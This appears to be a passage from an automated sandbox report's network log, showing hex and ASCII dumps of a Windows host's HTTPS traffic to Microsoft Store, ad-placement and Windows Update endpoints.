67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 59 4c 4e 66 68 57 66 7a 4c 68 2f 4b 39 4a 71 70 4c 67 37 7a 6e 79 48 56 
67 59 4d 4f 66 34 7a 66 56 75 77 78 5a 70 61 32 6b 4e 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 
67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 
Data Ascii: :"#1ed760","Caption":"","FileSizeInBytes":350683,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desk
top/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"YLNfhWfzLh/K9JqpLg7znyHVgYMOf4zfVuwxZp
a2kNY=","Uri":"//store-images.s-microsoft.com/i

2022-06-08 07:56:57 UTC 9222 IN Data Raw: 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 
2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 
22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 
59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 4
3 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22
4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22
4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 
Data Ascii: ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","
AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","
LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU

2022-06-08 07:56:57 UTC 9226 IN Data Raw: 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 
2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 
22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 
5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5
d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 50 72 6f 70 65 72 74 69 65 73 
22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 
43 53 5a 53 4a 52 53 42 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 
Data Ascii: ","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","
UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"Fulfillment
Data":{"ProductId":"9NCBCSZSJRSB","WuCategoryId

2022-06-08 07:56:57 UTC 9230 IN Data Raw: 66 2d 38 61 34 66 2d 34 30 65 31 2d 39 61 36 37 2d 37 36 64 39 31 30 38 63 37 63 62 35 3a 46 75 6c 6c 22 
5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 
74 4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 31 22 5d 2c 22 4c 69 63 65 6e 
73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 
22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 32 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 
64 73 22 3a 5b 22 31 22 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 
61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 
Data Ascii: f-8a4f-40e1-9a67-76d9108c7cb5:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRS
B:0001"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB:0002"],"LicensingKeyIds":["1"]}]},"Markets":
["US"],"OrderManagementData":{"GrantedEnt

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:57 UTC 9234 IN Data Raw: 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 
22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 
41 22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 
4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 2
2 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 
22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c
22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 
Data Ascii: O","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML",
"NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO",
"SC","SL","GS","SH","KN","LC","PM","VC","TJ","T

2022-06-08 07:56:57 UTC 9238 IN Data Raw: 32 30 32 32 2d 30 36 2d 30 37 54 31 35 3a 32 30 3a 30 36 2e 35 32 30 31 38 38 30 5a 22 2c 22 4d 61 72 6b 
65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 
6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 
6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 
73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 
68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 
7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 
Data Ascii: 2022-06-07T15:20:06.5201880Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],
"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyC
ode":""}},"Properties":{},"SkuId":"0011","Displ

2022-06-08 07:56:57 UTC 9238 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 192.168.2.3 49815 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9209 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165635Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:57 UTC 9209 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ccbb8086-e201-49dd-894f-47371e554776
Date: Wed, 08 Jun 2022 07:56:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

88 192.168.2.3 49816 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9238 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165635Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 192.168.2.3 49817 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:58 UTC 9238 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:58 UTC 9240 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 7f7052ab-247a-4cda-842a-b67a01f59c7f
MS-RequestId: 6b62f751-4ce3-4e96-bcc6-564b86fe2f75
MS-CV: By/wzYrq1EKf6mGP.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:57 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:58 UTC 9240 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:56:58 UTC 9256 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:56:58 UTC 9272 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.3 49713 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:54 UTC 83 OUT GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-
9f0acc233a65?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 121 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 7669
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM"
MS-CV: zKJ18ukIb0aTWgjG.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-06-08 07:53:54 UTC 121 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 
01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 
27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 
7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 
01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 
08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d 
Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU 
X@5P@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.2.3 49818 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:58 UTC 9239 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&c
id=128000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i
.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165607Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:58 UTC 9239 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fbe97c4f-eda6-40b3-a8d8-828eabd79201
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.2.3 49819 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:58 UTC 9275 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165608Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:58 UTC 9276 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a1c1257b-e0a6-4b6d-89e2-42dc04d3ebe5
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.2.3 49821 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:58 UTC 9276 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165609Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2022-06-08 07:56:58 UTC 9276 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2c79528f-55ca-4ebc-81d2-ae8faa4261e1
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 192.168.2.3 49820 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:58 UTC 9277 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:59 UTC 9279 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 7f05afbe-0d08-487b-8d84-f1ff66649012
MS-RequestId: 9771f56b-dad7-412f-a570-67e93a00a6f3
MS-CV: rRa3wc8fu0qvzNjV.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:58 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:59 UTC 9280 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:56:59 UTC 9295 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-06-08 07:56:59 UTC 9311 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.2.3 49822 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9277 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165610Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2022-06-08 07:56:59 UTC 9278 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
